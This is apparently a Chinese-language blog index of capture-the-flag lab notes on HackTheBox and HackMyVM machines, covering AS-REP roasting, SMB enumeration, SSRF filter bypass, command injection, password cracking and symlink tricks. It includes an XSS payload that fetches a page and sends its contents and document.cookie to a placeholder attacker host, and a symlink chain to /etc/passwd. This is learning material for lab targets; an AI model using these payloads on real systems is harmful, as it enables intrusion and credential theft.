[HTB]第五章

本篇靶机Certified,Cicada,EscapeTwo。环境都为windows AS-REPRoasting 一种针对 Windows AD的密码攻击技术,它的目标是从AD中抓取和破解弱密码的用户凭据。这种技术特别针对使用 Kerberos 认证协议 的环境 其实有点类似像批量尝试匿名登陆,攻击脚本如下 impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/ nxc smb常用攻击参数 --rid-brute:用rid爆破用户名,爆破出来的可能比实际少,一般是在只有匿名用户的时候用 --continue-on-success:用来测试用户名和密码,直到成功也不停下。也就是密码喷洒 --shares:用来查看当前用户能够访问的smb目录 --users:查看当前用户能看到的用户名,会比rid-brute准确。而且能看到desc,说不定会有特殊收获 --local-auth:使用当前被攻击机器自带的本地身份验证,而不使用域验证 SeBackupPrivilege和SeRestorePrivilege权限 当使用whoami /pri查看用户有SeBackupPrivilege和SeRestorePrivilege权限时,就可以用PTH 步骤是先将注册表中的sam和system存下来 接着用secretsdump dump出hash 最后拿着hash登陆就行 或者用nxc smbclient 使用格式如下 smbclient '\\11.4.5.14\' -U akared 进入后再输入密码就行 windows server常用端口服务对照表 445:smb(共享文件服务) 5985:winrm(远程命令执行) 135:rpcclient (搜集用户名和组名) 1433:mssql(数据库) awk妙用 除了常规的-F分割外,还有一个就是NR。这个表示当前行数,从1开始计数。下面是个例子 awk -F' ' 'NR>1 {print $5}' 这样就能去掉首行内容。另外,awk还有一个特殊元素是$0,表示当前行的整行内容 awk经常被用在和paste配套使用,paste是用来对输出内容进行分割的,这样awk处理完的端口数据就可以直接丢到nmap Writeowner权限修改密码 理论上说,有这个权限应该就能修改被控用户的密码。但这位博主没有成功,不知道为什么,就顺手记录一下吧https://cn-sec.com/archives/3623739.html bloodhound信息收集 除了传统的上传exe和ps1搜集,还有一种是直接通过bloodhound-python,这种方法可以不需要拿到shell,但用户名密码还是得提供。适用于shell不方便使用的时候 bloodhound-python -c All -u oscar -p 86LxLBMgEWaKUnBG -ns 10.10.11.51 -d sequel.htb -dc DC01.sequel.htb --zip bloodAD 一个可以修改用户AD中保存的权限的工具,下面示例如何修改用户ca_svc的owner为ryan ...

February 4, 2025 · 1 min · Red

[HMV]第一章

一个新发现的靶场hackmyvm,随便拿台靶机试试难度,本期靶机boxing url用户名 这个之前CTF题里遇到过,这里用来绕SSRF的访问域名限制了,用得挺巧妙的。先来看一下代码 <?php if(isset($_GET['url'])){ $url = $_GET['url']; if (!preg_match("/^http[s]?:\/\//", $url)) { $url = "http://" . $url; } if (strpos($url, "http://boxing.hmv") === 0 || strpos($url, "https://boxing.hmv") === 0) { $content = file_get_contents($url); echo $content; } else { echo "Unauthorized URL."; } } ?> 简答来说就是输入的内容会被拼接到http://后,再判断是不是http://boxing.hmv,如果是就读取 逻辑很简单,问题就出在拼接。如果我此时想访问这台机子的127.0.0.1:5000,如果我直接输入就会变成http://127.0.0.1:5000,没法访问。但如果我输入的是http://boxing.hmv@127.0.0.1:5000,这样就既能满足判断条件(因为是strpos位置匹配而不是preg_match这种全匹配),因此就能过 原理可以看这篇靶场笔记的parse_url与curl一栏https://redshome.top/2024/06/30/靶场笔记第十九章/ 特殊字符fuzz 有时候碰到理论上能行但却没有执行结果的时候,确保拼接起来的命令能执行后,要思考的就是是否过滤掉了特殊字符。比如空格、引号这种老黑户 这个时候就可以把空格或者引号的地方fuzz一下换成别的,比如+这个神奇的符号。也许你直接在shell运行不对,但放到web上就对了,原因有可能是apache2启用了Rewrite配置或者php做了str_replace(在本题php里没找到replace,因此猜测是apache2,不过粗略搜索后也没发现,就有点发懵了= =) 放上fuzz的语句供参考 ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w chars.txt -fs 2548 incrontab 简单来说就是一个处理正在监听中的系统事件的程序,而这个程序在这台机子里由一个叫incrontab.sh的脚本运行,用来监听一些事件,其中有一个事件如下 echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab - 意思就是当user.txt被更改权限时触发sos.sh运行 file * 这段指令的意思乍一看就是把所有文件名匹配并填入这个*。而这么做的操作空间就很大了,可以利用file的-f参数来达到读取文件的目的。 file -f fname 这段指令的意思是将fname的内容当作文件名被file处理。而问题就出在如果fname内容不存在,则会出现下面这一幕 ...

February 3, 2025 · 1 min · Red

[HTB]第四章

终于到了medium难度,一台靶机能学到的东西更多。本篇靶机为Instant apktools 主要是用来做apk逆向,用法有d(decode)和b(build)两种,d用的更多,因为要解包看有什么内容 grep -R 感觉现在再写grep参数有点水字数的意思= = -R是递归且跟踪软/硬链接 通过apk搜集子域名和token等敏感信息 RT,如果从网站某个角落挖到一个apk,如果这个apk联网,那么大概率是需要链接到某个与网站有关的路径或者子域的。一般会和上面的grep结合起来用 一般带有admin、test等字样的函数也是重点观察对象,有可能存在开发者粗心留下的测试后门 以及“pass,” “pwd,” “user,”等 ssh -i -i后面加identify_file,也就是私钥 这里再补充一个小知识点,一般我们的电脑去连接远端服务器的时候,我们的电脑里存的是私钥而不是公钥,公钥存放在远端服务器里。我们可以通过将本地自己生成的公钥事先放到远端服务器上,随后用 [m]get -r sftp和smbclient中的小窍门,下载文件夹 solar-putty 这是一个类似putty的东西,使用者有可能会留下一些加密过的备份文件在服务器上,如果使用者曾经使用过solar-putty进行ssh登录那么就有可能导致ssh密码泄漏 小tips 说是都要分析一遍,尤其是backup这种敏感文件,但实战中linpeas一扫出来简直不要太眼花缭乱 怎么办呢?其实linpeas扫出来的不一定都是能看到,比如下面这样 如果要一眼看出有什么有用信息,那么权限肯定是最好的切入点。毕竟扫出来多是多但还是得挑能看到 还有一个害我差点重装系统的坑,就是私钥最后一行必须有一个回车,不然就会报这个b错 一度让我怀疑是不是kali的什么东西炸了,结果看到ubuntu给的报错 才去检查格式问题,最后发现私钥最后一行必须加换行 这就是我们ubuntu

December 20, 2024 · 1 min · Red

[HTB]第三章

本篇靶机为Sea、Sightless和Chemistry hashcat、hydra和john的小常识 三者格式如下 hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt john hash --wordlist=/usr/share/wordlists/rockyou.txt hydra -L users.txt -p '???' ssh://ip 其中users.txt和hash为文件,hydra用来ssh密码喷洒 顺便记录一下hashcat -a的attck mode都是什么意思 shell中的注释 php代码如下 <?php if (isset($_POST['analyze_log'])) { $log_file = $_POST['log_file']; $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'"); if (!empty($suspicious_traffic)) { echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>"; echo "<pre>$suspicious_traffic</pre>"; } else { echo "<p>No suspicious traffic patterns detected in $log_file.</p>"; } } ?> 很明显是要命令注入$log_file,但在CTF里学的绕过方法都不奏效,是因这里有一个管道符|在捣乱 所以思路是要让管道符失效,linux shell中让后续命令失效的办法只有一个,那就是注释,所以直接用 #注释就行 ...

December 19, 2024 · 1 min · Red

[HTB]第二章

最近终于有空来玩玩HTB啦,时隔半年的HTB笔记也终于又更新了。本篇靶机为Alert和Linkvortex xss回连测试与数据带回 可以用下面这段简单测试xss是否存在bot访问从而进行回连 <script>location="http://ip"</script> 如果存在,就可以用fetch进行外带,达到类似CSRF的效果 <script> var readfile="http://127.0.0.1/index.php";//改一下page就好 fetch(readfile) .then(response => response.text()) .then(data => { fetch("http://ip/?data=" + encodeURIComponent(data)+"&cookie="+document.cookie);//改成你的ip }) .catch(error => fetch("http://ip/?err="+error.message)); </script> apache2默认配置文件路径 /etc/apache2/sites-available/000-default.conf .htpasswd 这是一个和.htaccess类似的apache用户级配置文件,可以配合apache认证功能来模拟一个简单的登录认证。这个文件就是用来存放账号密码的。明文,可以直接查看 linpeas参数 -o参数是个很好用的参数,可以指定输出一些东西,因为linpeas的东西实在太杂了 一般intersting_perms_files是个不错的选择 同时,拿到foothood后观察一下127.1的端口也是个很值得关注的点 groups 这是一条指令,可以查看当前用户和所在组。当然如果环境中没有这个软件,也可以用cat /etc/groups | grep "akaRed",是等效的 Dockerfile 有时候githack下来的dockerfile会说使用了什么配置文件去build,配置文件里可能会有密码之类的 HOST头FUZZ 有时候需要fuzz子域,但是在不知道的情况下又没dns咋办?去fuzz host头就行 ffuf -u "http://ip" -w /usr/.../dns.txt -H "HOST: FUZZ.???.???" -ac 关于ffuf的使用可以看下面一条。这里也顺便记录一个子域字典吧:/usr/share/dnsenum/dns.txt 不得不说kali的自带字典虽然藏得深但是真的全 ffuf wfuzz日常没法用的一天= = 现在我投靠了这个新的fuzz工具,一样kali自带 格式如下,很方便很好记 ffuf -u "http://ip/FUZZ" -w /usr/.../dns.txt -fc/-ac -fc和-ac选一个就行,-fc是过滤你不要的,比如-fc 404。-ac是自动过滤软件自己觉得没用的 软链接绕过名字检查 好像上一篇HTB记录过,但是上一篇是为了让检测软件误认为自己打开的是pdf实则是我们定向的文件,检测软件并没有对定向过后的文件做检查 但这里要介绍的是,如果做了定向后的检查,只要套了两层软连接,就可以绕过一些文件名检查。这里的漏洞就在于软件一般只追踪一层,而不会去看下一层 比如要你只能打开png图片,那么我只要像下面这样包,就检测不到了 ln -s /etc/passwd 2.png ln -s 1.png 2.png 小tips 要注意观察每个文件夹的读写执行权限和所属组 ...

December 17, 2024 · 1 min · Red